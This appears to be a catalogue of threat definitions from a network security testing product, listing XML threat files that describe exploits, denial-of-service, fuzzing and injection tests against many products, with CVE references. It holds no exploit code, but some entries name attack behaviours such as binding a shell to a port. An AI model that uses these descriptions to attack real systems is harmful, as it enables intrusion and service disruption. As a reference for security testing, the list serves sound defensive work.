Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20170515-06_HPE_Intelligent_Management_Center_dbman_FileTrans_Arbitrary_File_Write.xml
Executive Description:	HPE Intelligent Management Center dbman FileTrans Arbitrary File Write
Detailed Description:	An arbitrary file write vulnerability has been reported in the dbman component of HPE Intelligent Management Center. The vulnerability is due to lack of authentication on FileTrans commands, used to transfer files to the host running dbman. A remote, unauthenticated attacker can exploit the vulnerability by sending a maliciously crafted packet to the target server. Successful exploitation could result in an arbitrary file write, which could lead to remote code execution on the target server in the context of SYSTEM or root.
Protocol Type:	HP IMC DBMan Protocol
CVEID:	CVE-2017-5822
Threat File Name:	smtp_bounce_IPv6.xml
Executive Description:	SMTP RCPT TO bounce (IPv6 Version)
Detailed Description:	This threat sends an email to the user bounce. This has the potential to cause an SMTP server to enter an infinite loop bouncing an email against itself. SMTP servers typically listen on port 25. (IPv6 Version)
Protocol Type:	SMTP/IPv6
Threat Package:	Standard

Threat File Name:	FSC20100505-01_Microsoft_Office_Visio_DXF_File_Inserting_Buffer_Overflow.xml
Executive Description:	Microsoft Office Visio DXF File Inserting Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in Microsoft Office Visio. The vulnerability is due to a boundary error when parsing DXF files inserted into Visio documents. This vulnerability may be exploited by remote attackers by enticing a user to open a maliciously crafted Visio file with a vulnerable version of the application. In attack scenarios where code execution is successful the behaviour of the target machine is dependent entirely on the intention of the injected code, which will run within the security context of the logged-in user. When code execution is not successful the affected application may terminate abnormally leading to a denial of service condition.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2010-1681
Threat Package:	Standard
Threat File Name:	ICMPechoAmp.xml
Executive Description:	ICMP Echo Amplification
Detailed Description:	This threat targets pings with a spoofed IP to a broadcast address, causing an amplified response to the target (spoofed) IP.
Protocol Type:	ICMP
CVEID:	CVE-1999-0513
OSVDB:	916
Threat Package:	Standard
Threat File Name:	FSC20090714-07_Microsoft_Windows_Embedded_OpenType_Font_Integer_Overflow.xml
Executive Description:	Microsoft Windows Embedded OpenType Font Integer Overflow
Detailed Description:	A integer overflow vulnerability exists in Microsoft Windows Embedded OpenType (EOT) Font Engine. The vulnerability is due to the way that Microsoft Windows Embedded OpenType (EOT) font engine parses naming tables. A remote unauthenticated attacker can exploit this vulnerability by enticing a target user to visit a web page containing a reference to a malicious EOT file. An attack targeting this vulnerability can result in the injection and execution of arbitrary code. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. Any injected code will be executed within the security context of the currently logged in user. In the case of an unsuccessful code execution attack, the targeted application may terminate abnormally.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP
CVEID:	CVE-2009-0232
Threat Package:	Standard
Threat File Name:	enjoysap_rfcguisink_activex_bof.xml
Executive Description:	EnjoySAP ActiveX rfcguisink.rfcguisink.1 Remote Stack Overflow Vulnerability
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the SAP EnjoySAP ActiveX rfcguisink.rfcguisink.1 application, resulting in the overwriting of arbitrary files. This threat is delivered via HTTP port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-3606
Threat Package:	Standard
Threat File Name:	TSL20161129-03_Vim_modelines_Remote_Command_Execution.xml
Executive Description:	Vim modelines Remote Command Execution
Detailed Description:	A command execution vulnerability has been reported in Vim. The vulnerability is due to a lack of input validation when processing modeline values for filetype, keymap, and syntax. A remote attacker can exploit this vulnerability by enticing a user to open a crafted file in Vim. Successful exploitation could result in the execution of arbitrary commands under the context of the target user.
Protocol Type:	HTTP, HTTPS, SMB/CIFS, NFS, IMAP, POP3, SMTP
CVEID:	CVE-2016-1248
Threat File Name:	TSL20140206-02_Apache_Tomcat_FileUpload_Content_Type_Header_Infinite_Loop_IPv6.xml
Executive Description:	Apache Tomcat FileUpload Content-Type Header Infinite Loop IPv6 version.
Detailed Description:	An infinite loop vulnerability exists in Apache Tomcat. The vulnerability is due to insufficient boundary checks when processing the Content-Type header of a multipart request. A remote attacker could exploit this vulnerability by sending a large amount of data to the server causing it to use up excessive resources. Successful exploitation could cause a denial of service condition on the server. Tester can set variable \$HTTPDdestPort to 80, 8080, and 443 before test.
Protocol Type:	HTTP/HTTPS.IPv6
CVEID:	CVE-2014-0050
OSVDB:	102945
Threat File Name:	FSC20070314-16_Microsoft_Internet_Explorer_7_Navigation_Canceled_Page_Cross-Site_Scripting_IPv6.xml
Executive Description:	Microsoft Internet Explorer 7 Navigation Canceled Page Cross-Site Scripting (IPv6 Version)
Detailed Description:	There exists a vulnerability in Microsoft Internet Explorer 7. The vulnerability is due to an input validation error in the local resource page "navcancel.htm" when generating the "Refresh the page" link in the Internet Explorer 7. Successful exploitation would allow the attacker to execute a cross-site scripting or phishing attack. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-1752
Threat Package:	Standard
Threat File Name:	x7chat_cmi_IPv6.xml
Executive Description:	X7 Chat 2.0 "help_file" arbitrary local inclusion (IPv6 Version)
Detailed Description:	This threat exploits an arbitrary file inclusion flaw in the "help/index.php" file. X7 Chat is a web based application which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat File Name:	ebcrypt_activex_overwrite_IPv6.xml
Executive Description:	ebCrypt ActiveX Control SaveToFile Arbitrary File Overwrite Vulnerability (IPv6 Version)
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the ebCrypt ActiveX application, resulting in the overwriting of arbitrary files. This threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-5111
Threat Package:	Standard

Threat File Name:	FSC20080212-11_Microsoft_Internet_Information_Services_ASP_Handling_Code_Execution_IPv6.xml
Executive Description:	Microsoft Internet Information Services ASP Handling Code Execution (IPv6 Version)
Detailed Description:	A buffer overflow vulnerability exists in the Microsoft Internet Information Services product. The flaw is caused by lack of validation in the way Internet Information Services handles HTML encoded ASP Web Pages. A successful exploitation may lead to execution of arbitrary code on the target host with privileges of affected service. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2008-0075
Threat Package:	Standard
Threat File Name:	cisco_sip1_IPv6.xml
Executive Description:	Cisco IP Phone Denial of Service (IPv6 Version)
Detailed Description:	This threat sends out a malformed SIP packet that causes the screen to stop responding on Cisco IP Phones running with vulnerable software. (IPv6 Version)
Protocol Type:	SIP/IPv6
CVEID:	CVE-2003-1109
OSVDB:	15412
Threat Package:	Standard
Threat File Name:	SymantecFirewall1DNSDOS2_IPv6.xml
Executive Description:	Symantec Firewall DNS Response Buffer Overflow (IPv6 Version)
Detailed Description:	This threat sends a large DNS reply to a an open UDP port - such as 137. The Symantec firewall software will attempt to read the DNS packet, and overflow a buffer it has allocated for to read it. Can be used for remote execution of code. (IPv6 Version)
Protocol Type:	DNS/IPv6
CVEID:	CVE-2004-0444
OSVDB:	6099
Threat Package:	Standard
Threat File Name:	fuzz-HTTP-OPTION_PrepndHTTPwithformatn.xml
Executive Description:	Fuzz HTTP OPTION with Request-URI prepended with %n
Detailed Description:	Fuzzes the Request-URI field by prepending %n
Protocol Type:	HTTP
Threat Package:	Fuzzing
Threat File Name:	TSL20120814-04_Microsoft_Visio_DXF_File_Format_Buffer_Overflow.xml
Executive Description:	Microsoft Visio DXF File Format Buffer Overflow
Detailed Description:	A buffer overflow vulnerability has been reported in Microsoft Visio. The vulnerability is due to the way the application handles memory when parsing specially crafted Autodesk DXF files. A remote, unauthenticated attacker can exploit this vulnerability by enticing a user to open a malicious file with a vulnerable version of the application. This can lead to code execution in the context of the affected user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2012-1888
OSVDB:	84606
Threat File Name:	TSL20111011-23_Microsoft_Internet_Explorer_Virtual_Function_Table_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer Virtual Function Table Memory Corruption(IPv6 Version)
Detailed Description:	A remote code execution vulnerability has been reported in Internet Explorer (IE). The vulnerability is due to the way in which IE accesses a corrupted virtual function table. A remote attacker could exploit this vulnerability by enticing a target user to view a specially crafted webpage. A successful attack could result in the execution of arbitrary code in the security context of the target user.
Protocol Type:	IPV6,HTTP,HTTPS
CVEID:	CVE-2011-2001
Threat File Name:	TSL20141111-30_Microsoft_Office_Bad_Index_Memory_Corruption.xml
Executive Description:	Microsoft Office Bad Index Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft Office. The vulnerability is due to improper handling of objects when parsing a specially crafted Office document. A remote, unauthenticated attacker can exploit this vulnerability by enticing a target user to open a specially crafted Office file. Successful exploitation allows the attacker to execute arbitrary code in the context of the current user.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMTP/SMB/CIFS
CVEID:	CVE-2014-6334
OSVDB:	114527
Threat File Name:	TSL20140415-02_Adobe_Reader_Mobile_JavaScript_Interface_Java_Code_Execution.xml
Executive Description:	Adobe Reader Mobile JavaScript Interface Java Code Execution
Detailed Description:	A code execution vulnerability exist in Adobe Mobile Reader for Android. The vulnerability is due to a failure to restrict access to certain JavaScript interfaces which could be used to achieve Java code execution via Reflection API. A remote unauthenticated attacker could exploit this vulnerability by enticing a target user to open a crafted document. A successful attack could result in the execution of arbitrary Java code in the security context of the affected application.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP
CVEID:	CVE-2014-0514
OSVDB:	105781
Threat File Name:	http_delete_IPv6.xml
Executive Description:	HTTP DELETE Method Attempt (IPv6 Version)
Detailed Description:	This threat attempts to make use of the DELETE method, which is used to remove a file from an HTTP server. The file it attempts to remove is /index.html (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20080404-05_CA_ARCServe_Backup_for_Laptops_and_Desktops_LGServer_Service_Code_Execution.xml
Executive Description:	CA ARCServe Backup for Laptops and Desktops LGServer Service Code Execution

Detailed Description:	There exists a buffer overflow vulnerability in the way CA ARCserve Backup for Laptops and Desktops service handles incoming messages. A remote unauthenticated attacker can send specially crafted commands to the LGServe service to trigger a buffer overflow and execute arbitrary code on the target host with System privileges.
Protocol Type:	SSDP
CVEID:	CVE-2008-1328
Threat Package:	Standard
Threat File Name:	winzip_activex_dos_IPv6.xml
Executive Description:	WinZip ActiveX Control Remote Denial of Service Vulnerability (IPv6 Version)
Detailed Description:	This threat leverages a flaw in the Winzip ActiveX control when accessed by Internet Explorer, allows remote code execution on the client host. This affects WinZip ActiveX Control using Internet Explorer Web Browser clients that typically connect to the http port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-5198
Threat Package:	Standard
Threat File Name:	msie_frame_src_dos.xml
Executive Description:	Microsoft Internet Explorer Frame Src Denial Of Service Vulnerability
Detailed Description:	This threat crashes Microsoft Internet Explorer 6.0 SP1 and earlier browsers via an invalid src attribute value ("?"*) in an HTML frame tag with large rows attribute. Microsoft Internet Explorer is a web browser that connects to web servers typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-631
Threat Package:	Standard
Threat File Name:	FSC20100913-04_Apple_Safari_and_Google_Chrome_Webkit_Object_Outline_Memory_Corruption_IPv6.xml
Executive Description:	Apple Safari and Google Chrome Webkit Object Outline Memory Corruption (IPV6 VERSION)
Detailed Description:	A memory corruption vulnerability exists in Webkit, the HTML rendering engine used in Apple's Safari and Google's Chrome web browser. The vulnerability is due to memory corruption during the rendering of HTML object outlines. This vulnerability may be exploited by enticing a user to open a specially crafted web page. Exploitation will result in memory corruption which may crash the browser or could lead to arbitrary code execution.
Protocol Type:	IPV6,HTTP,HTTPS
CVEID:	CVE-2010-1813
Threat File Name:	FSC20060222-07_Mozilla_Thunderbird_WYSIWIG_Engine_Filtering_IFRAME_JavaScript_Execution.xml
Executive Description:	Mozilla Thunderbird WYSIWIG Engine Filtering IFRAME JavaScript Execution
Detailed Description:	A Javascript execution vulnerability exists in the Mozilla Thunderbird application. The vulnerability allows Javascript execution in the composer window regardless of the security restriction settings. This may allow the attacker to execute arbitrary Javascript when a target user replies to a malicious HTML formatted email message.
Protocol Type:	SMTP
CVEID:	CVE-2006-0884
Threat Package:	Standard
Threat File Name:	p990i_web_dos.xml
Executive Description:	Symbian Mangleme Crash 0x5fb73273
Detailed Description:	This malformed page causes the Symbian browser to lock hard, making the phone/device unresponsive. The only way to return the phone back to a normal state is to remove the battery and place it back in. This threat can be delivered by any malicious page to a symbian based phone.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	easymail_emsmtplib_activex_bof_IPv6.xml
Executive Description:	EasyMail Objects EMSMTPLIB ActiveX Control Remote Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the EasyMail Objects (EMSMTPLIB) ActiveX application, resulting in the overwriting of arbitrary files or code execution. This threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FlatCMS_Inject_IPv6.xml
Executive Description:	FlatCMS Command Injection (IPv6 Version)
Detailed Description:	This threat exploits a flaw in the FlatCMS application that allows an attacker to inject arbitrary commands into the Applications script. FlatCMS is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat File Name:	FSC20080402-06_Novell_eDirectory_HTTP-Headers_Denial_of_Service_IPv6.xml
Executive Description:	Novell eDirectory HTTP Headers Denial of Service (IPv6 Version)
Detailed Description:	A resource exhaustion vulnerability exists in Novell eDirectory. The vulnerability can be triggered by a crafted HTTP request. A remote unauthenticated attacker can create a denial of service condition on the affected service by leveraging this vulnerability. (IPv6 Version)
Protocol Type:	HTTP-ALT/IPv6
CVEID:	CVE-2008-0927
Threat Package:	Standard
Threat File Name:	TSL20161108-07_Microsoft_Windows_Image_File_Handling_Information_Disclosure_IPv6.xml
Executive Description:	Microsoft Windows Image File Handling Information Disclosure (IPv6)
Detailed Description:	TSL20161108-07
Protocol Type:	HTTP, HTTPS, IMAP, SMB/CIFS, POP3, FTP, IPV6
CVEID:	CVE-TSL20161108-07
Threat File Name:	askjeeves_toolbar_activex_IPv6.xml
Executive Description:	AskJeeves Toolbar 4.0.2.53 activex Remote Buffer Overflow Vulnerability (IPv6 Version)

Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the AskJeeves Toolbar ActiveX application, resulting in the overwriting of arbitrary files or code execution. This threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	ms05-038_com.xml
Executive Description:	Internet Explorer COM Object Memory Corruption
Detailed Description:	This threat attempts to execute shellcode through a memory corruption flaw in the way Internet Explorer instantiates certain COM objects. This threat would typically come from a webserver, which listens on port 80. This threat is a client attack that comes from the virtual server.
Protocol Type:	HTTP
CVEID:	CVE-2005-1990
OSVDB:	18612
Threat Package:	Standard
Threat File Name:	realplayer_activex_dos.xml
Executive Description:	RealNetworks RealPlayer ActiveX Control Remote Denial of Service Vulnerability
Detailed Description:	This threat leverages a flaw in RealPlayer ActiveX control trigger denial-of-service conditions in Internet Explorer and RealPlayer when accessed from a malicious webserver listening on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	TSL20160630-09_WECON_LeviStudio_ScreenInfo_ScrnName_Heap_Buffer_Overflow.xml
Executive Description:	
Detailed Description:	
Protocol Type:	
Threat File Name:	TSL20170120-07_Brocade_Network_Advisor_SoftwareImageUpload_name_filename_Directory_Traversal_IPv6.xml
Executive Description:	Brocade Network Advisor SoftwareImageUpload name filename Directory Traversal (IPv6 Version)
Detailed Description:	A directory traversal vulnerabilities exists in Brocade Network Advisor. The vulnerability is due to lack of authentication and insufficient input validation in the SoftwareImageUpload servlet of immservlets.war when processing HTTP multipart form requests. A remote, unauthenticated attacker can exploit this vulnerability to delete important directories or files by sending a malicious HTTP request to the target system. Successful exploitation could result in a denial-of-service condition.
Protocol Type:	HTTP, HTTPS, IPv6
CVEID:	CVE-2016-8206
Threat File Name:	NOOPudPHP-UNIX.xml
Executive Description:	UDP NOOP Variant HP-UNIX
Detailed Description:	This threat sends UDP packets with a payload filled with NOOP assembly instructions. This gets flagged on IDS systems as a possible shellcode injection attack. NOOPs are used as a sled to insure more probability for shellcode to execute. Unfortunately, NOOPs are also quite common in binary downloads from websites as well, causing many false positives.
Protocol Type:	UDP
Threat Package:	Standard
Threat File Name:	FSC20080109-11_Microsoft_Visual_FoxPro_vfp6r_dll_DoCmd_ActiveX_Control_Command_Execution_IPv6.xml
Executive Description:	Microsoft Visual FoxPro vfp6r.dll DoCmd ActiveX Control Command Execution (IPv6 Version)
Detailed Description:	There exists an access control weakness vulnerability in the way Microsoft Visual FoxPro ActiveX Control handles user supplied data. The vulnerability is a result of insufficient data validation while processing the DoCmd method call from a webpage script. A remote attacker can exploit this vulnerability by enticing the target user to open a malicious webpage, potentially allowing arbitrary code to be executed in the security context of the currently logged-in user. (IPv6 Version)
Protocol Type:	/IPv6
Threat Package:	Standard
Threat File Name:	netdde_IPv6.xml
Executive Description:	MS04-031 NetDDE Remote Buffer Overflow (IPv6 Version)
Detailed Description:	This threat attempts to get shellcode listening on port 9000 on a Windows computer by taking advantage of a buffer overflow in the NetDDE service. This threat connects to a machine named STAFF-QTWBRHWCT. The NetDDE service must be enabled for the overflow to work. In some cases this shellcode will only cause the NetDDE service to crash. The NetDDE service listens on port 139. (IPv6 Version)
Protocol Type:	NETBIOS_SS/IPv6
CVEID:	CVE-2004-0206
OSVDB:	10689
Threat Package:	Standard
Threat File Name:	firefoxFavIconInjec2_IPv6.xml
Executive Description:	Firefox Favicon 2 Code Execution (IPv6 Version)
Detailed Description:	This threat causes Mozilla Firefox to execute code with the permissions of the user operating the browser. The code is executed due to a flaw in the displaying of a favicon in the URL bar. This typically lets the malicious webpage control the the target computer. Mozilla Firefox is a web browser and typically connects to port 80. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-1155
OSVDB:	15686
Threat Package:	Standard
Threat File Name:	TSL20170418-05_Mantis_Bug_Tracker_verify.php_confirm_hash_Remote_Password_Reset_IPv6.xml
Executive Description:	Mantis Bug Tracker verify.php confirm_hash Remote Password Reset (IPv6 Version)

Detailed Description:	A remote password reset vulnerability has been reported in Mantis Bug Tracker. The vulnerability is due to a lack of input validation on the confirm_hash parameter when verifying password reset requests. A remote, unauthenticated attacker can exploit this vulnerability by sending a crafted HTTP request to the affected page. Successful exploitation results in the attacker being able to change the password for arbitrary accounts.
Protocol Type:	HTTPS,HTTP,IPv6
CVEID:	CVE-2017-7615
Threat File Name:	freesshd_bof.xml
Executive Description:	freeSSHD and WeOnlyDo! SSHD Buffer Overflow
Detailed Description:	This threat is a buffer overflow attack against two Windows SSH daemons. By sending a very long string in the initial key exchange, the SSH daemon can be caused to run arbitrary code. The payload of this threat will bind a shell to port 1977. SSH typically runs on port 22.
Protocol Type:	SSH
OSVDB:	25463
Threat Package:	Standard
Threat File Name:	IGRPregflood.xml
Executive Description:	IGRP Request Flood
Detailed Description:	This threat sends a flood of multicast IGRP requests asking for routers to reply with the contents of their routing table. Not only does this reveal the details of the routing tables, it can also overwhelm the routers and cause denial of service.
Protocol Type:	IGRP
Threat Package:	Standard
Threat File Name:	TSL20150601-01_PHP_phar_parse_tarfile_method_Integer_Overflow_IPv6.xml
Executive Description:	PHP phar_parse_tarfile method Integer Overflow IPv6 version
Detailed Description:	An integer overflow vulnerability exists in PHP. The vulnerability is due to an issue with the parsing of TAR files by phar_parse_tarfile(). A remote attacker can exploit the vulnerability by sending crafted data to a web application running a vulnerable version of PHP. Successful exploitation could lead to the disclosure of sensitive information from the server.
Protocol Type:	HTTP/HTTPS.IPv6
CVEID:	CVE-2015-4021
Threat File Name:	TSL20120917-01_Microsoft_Internet_Explorer_execCommand_Use_After_Free.xml
Executive Description:	Microsoft Internet Explorer execCommand Use After Free
Detailed Description:	A code execution vulnerability has been reported in Microsoft Internet Explorer. The vulnerability is caused by a Use-After-Free error when processing script code calling the execCommand method. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user. This vulnerability is currently being exploited in the wild.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2012-4969
OSVDB:	85532
Threat File Name:	FSC20081023-10_Microsoft_Windows_Server_Service_RPC_Request_Handling_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Windows Server Service RPC Request Handling Buffer Overflow (IPv6 Version)
Detailed Description:	There is a buffer overflow vulnerability in Microsoft Windows. The flaw is due to boundary error in the "Server" service when processing RPC requests. Remote unauthenticated attackers can exploit this vulnerability by sending specially crafted messages to the affected interface. A successful exploitation can lead to arbitrary code execution with System level privileges. (IPv6 Version)
Protocol Type:	MICROSOFT-DS/IPv6
CVEID:	CVE-2008-4250
Threat Package:	Standard
Threat File Name:	FSC20081128-15_Apple_CUPS_PNG_Filter_Overly_Large_Image_Height_Integer_Overflow.xml
Executive Description:	Apple CUPS PNG Filter Overly Large Image Height Integer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in Apple's Common Unix Printing System (CUPS) distributed by multiple vendors. The vulnerability is due to a boundary error when handling PNG image format files. A remote attacker can exploit this vulnerability to inject and execute code with privileges of CUPS service. In an attack case where code injection is not successful, the affected application will terminate abnormally. This happens consistently if the vulnerable application is linked with libpng >= 1.2.6. In a more sophisticated attack case where code injection is successful, the behaviour of the target is entirely dependent on the intended function of the injected code. The code in such a case would execute within the security context of the affected service, with the privileges of the printer user, normally lp.
Protocol Type:	IPP
CVEID:	CVE-2008-5286
Threat Package:	Standard
Threat File Name:	TSL20130108-02_Microsoft_XML_Core_Services_Integer_Truncation_Memory_Corruption.xml
Executive Description:	Microsoft XML Core Services Integer Truncation Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft XML Core Services. The vulnerability is due to an integer truncation error while Microsoft XML Core Services parses XML content. Remote attackers could exploit this vulnerability by persuading a target user to visit a specially crafted website. Successful exploitation could allow arbitrary code execution in the context of current user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2013-0006
OSVDB:	88959
Threat File Name:	ArpSourceBroadcast.xml
Executive Description:	ARP Source Broadcast
Detailed Description:	This threat sends out an ARP request for an IP from the broadcast MAC address FF:FF:FF:FF:FF:FF.
Protocol Type:	ARP
Threat Package:	Standard
Threat File Name:	fuzz-HTTP-PUT_PrependedHTTPWithformats.xml
Executive Description:	Fuzz HTTP PUT with Request-URI prepended with %s
Detailed Description:	Fuzzes the Request-URI field by prepending %s

Protocol Type:	HTTP
Threat Package:	Fuzzing
Threat File Name:	malformedTOSIP_IPv6.xml
Executive Description:	Malformed Random IP Packet Type of Service Options (IPv6 Version)
Detailed Description:	This threat sends an IP packet with random Type of Service Options set. Can cause poorly implemented TCP/IP stacks to fail. (IPv6 Version)
Protocol Type:	IP/IPv6
CVEID:	CVE-2002-0952
OSVDB:	5045
Threat Package:	Standard
Threat File Name:	FSC20060130-07_Apache_HTTP_Server_auth_ldap_Logging_Function_Format_String_Vulnerability.xml
Executive Description:	Apache HTTP Server auth_ldap Logging Function Format String Vulnerability
Detailed Description:	There exists a format string vulnerability in the auth_ldap module used with Apache HTTP server. The vulnerability is a result of the failure to properly verify string arguments passed to a logging function, resulting in a memory corruption condition. A remote attacker can exploit this vulnerability to inject and execute arbitrary code with the privileges of the HTTP server process. In a simple attack exploiting this vulnerability, the httpd process serving the attacker terminates, closing the connection as a result. This might also reset other connections served by the affected httpd process, in the case the HTTP server is configured to run in multiple-threading mode. In the case of a more sophisticated attack, the injected arbitrary code is executed with the privileges of the httpd process. The behaviour of the target system will be dependent on the malicious code.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2006-0150
Threat Package:	Standard
Threat File Name:	gtchat_dos_IPv6.xml
Executive Description:	GTChat Denial Of Service (IPv6 Version)
Detailed Description:	This threat causes a denial of service by passing a malicious URL. This causes the GTChat program to crash after repeated attempts to send the request. GTChat is a web application, that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	brewblogger_sqlii.xml
Executive Description:	BrewBlogger 1.3.1 (printLog.php)SQL Injection Vulnerability
Detailed Description:	This threat sends a crafted URL that contains an SQL query which is executed by the server. BrewBlogger is a web application that typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	fuzz-TFTP_RangingSizeOfData_RangingBlockNo_IPv6.xml
Executive Description:	TFTP Fuzzer fuzz-TFTP_RangingSizeOfData_RangingBlockNo.xml (IPv6 Version)
Detailed Description:	Fuzzes data field by putting random string with ranging sizes. OpCode is 03 (IPv6 Version)
Protocol Type:	TFTP/IPv6
Threat Package:	Fuzzing
Threat File Name:	FSC20060612-05_Mozilla_Firefox_DOMNodeRemoved_Memory_Corruption_IPv6.xml
Executive Description:	Mozilla Firefox DOMNodeRemoved Memory Corruption (IPv6 Version)
Detailed Description:	A memory corruption vulnerability has been discovered in the Mozilla Firefox product. The flaw concerns document structure changes during a DOMNodeRemoved event. Exploitation of this vulnerability may possibly result in arbitrary code execution on the target user's host. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-2779
Threat Package:	Standard
Threat File Name:	cfengine_overflow.xml
Executive Description:	Cfengine Overflow Attack
Detailed Description:	This threat exploits a buffer overflow present in the Cfengine application. This allows an attacker to run remote code under the context of the service. Cfengine typically listens on port 5308.
Protocol Type:	Proprietary
CVEID:	CVE-2004-1701
OSVDB:	14664
Threat Package:	Standard
Threat File Name:	TSL20170314-36_Microsoft_Windows_SMB_Server_SMBv1_CVE-2017-0145_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Windows SMB Server SMBv1 CVE-2017-0145 Buffer Overflow (IPv6 Version)
Detailed Description:	A remote code execution vulnerability has been reported in the SMBv1 component of Microsoft Windows SMB server. The vulnerability is due to improper handling SMBv1 requests. A remote attacker could exploit these vulnerability by sending crafted SMBv1 messages to a target server. Successful exploitation could result in arbitrary code execution under the security context of the SYSTEM.
Protocol Type:	SMB/CIFS,IPv6
CVEID:	CVE-2017-0145
Threat File Name:	hivemail_cmi_b_IPv6.xml
Executive Description:	HiveMail Vulnerabilities Remote Command Execution (IPv6 Version)
Detailed Description:	This threat sends a crafted URL containing PHP code which is executed by the server. HiveMail is a web based application which typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-0757
Threat File Name:	FSC20080521-20_IBM_Lotus_Sametime_Server_Multiplexer_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	IBM Lotus Sametime Server Multiplexer Stack Buffer Overflow (IPv6 Version)

Detailed Description:	A stack-based buffer overflow vulnerability exists in the Community Services Multiplexer component of IBM Lotus Sametime. The vulnerability is the result of a boundary-check error during parsing of long URLs by the Community Services Multiplexer. A remote unauthenticated attacker can exploit this vulnerability for code execution by sending a specially crafted HTTP request to the target server. Any code injected using this vulnerability would be execution within the security context of the affected process, normally System. (IPv6 Version)
Protocol Type:	TCP/IPv6
CVEID:	CVE-2008-2499
Threat Package:	Standard
Threat File Name:	sipunusualreason.xml
Executive Description:	SIPPING: Unusual Reason
Detailed Description:	This threat sends out a SIP status message with code 200 (OK) but a non-standard reason including escaped and UTF-8 characters. This is legal but unexpected, and may confuse or crash a SIP implementation.
Protocol Type:	SIP
Threat Package:	VoIP
Threat File Name:	tftpTransfer.xml
Executive Description:	TFTP Long Transfer Mode String
Detailed Description:	This threat sends a TFTP request with a long transfer mode string. This is known to cause crashes in certain TFTP servers, possibly leading to remote code execution. TFTP servers normally listen on port 69.
Protocol Type:	TFTP
CVEID:	CVE-2005-1812
OSVDB:	16954
Threat Package:	Standard
Threat File Name:	iPlanetChunked.xml
Executive Description:	iPlanet Chunked Encoding
Detailed Description:	This threat causes a buffer overflow in Sun's iPlanet web server. Can be used to cause remote code execution.
Protocol Type:	HTTP
CVEID:	CVE-2002-0845
OSVDB:	5070
Threat Package:	Standard
Threat File Name:	CA_brightStor_b_bof_IPv6.xml
Executive Description:	Computer Associates BrightStor ARCserve Backup MediaSVR.EXE 191 Buffer Overflow Vulnerability (alternative payload) (IPv6 Version)
Detailed Description:	This threat demonstrates the bufferoverflow vulnerability in the computer associates brightstor arcserve mediasvr.exe executable, this threat is delivered on the proprietary port 111. (IPv6 Version)
Protocol Type:	Proprietary/IPv6
CVEID:	CVE-2007-1785
Threat Package:	Standard
Threat File Name:	TSL20120822-12_InduSoft_Thin_Client_ISSymbol_ActiveX_InternationalOrder_Heap_Buffer_Overflow_IPv6.xml
Executive Description:	InduSoft Thin Client ISSymbol ActiveX InternationalOrder Heap Buffer Overflow(IPv6 Version)
Detailed Description:	A heap buffer overflow vulnerability exists in the InduSoft Thin Client. The vulnerability is due to lack of input validation on the InternationalOrder parameter of the ISSYMBOL.ISSymbolCtrl ActiveX control. An attacker can exploit this vulnerability by enticing the user to browse to a specially crafted webpage using Internet Explorer. Successful exploitation can result in arbitrary code execution in the context of the currently logged in user.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2011-0340
OSVDB:	72865
Threat File Name:	IPv6zeroLength_IPv6.xml
Executive Description:	Zero Length IPv6 Packet (IPv6 Version)
Detailed Description:	This threat sends a zero length IPv6 packet. Given past problems with IPv4 implementations, it is highly likely that similar problems might reside in IPv6 implementations. (IPv6 Version)
Protocol Type:	IPv6/IPv6
Threat Package:	Standard
Threat File Name:	cisco_catos_DOS_IPv6.xml
Executive Description:	Cisco Catalyst ACK Denial of Service (IPv6 Version)
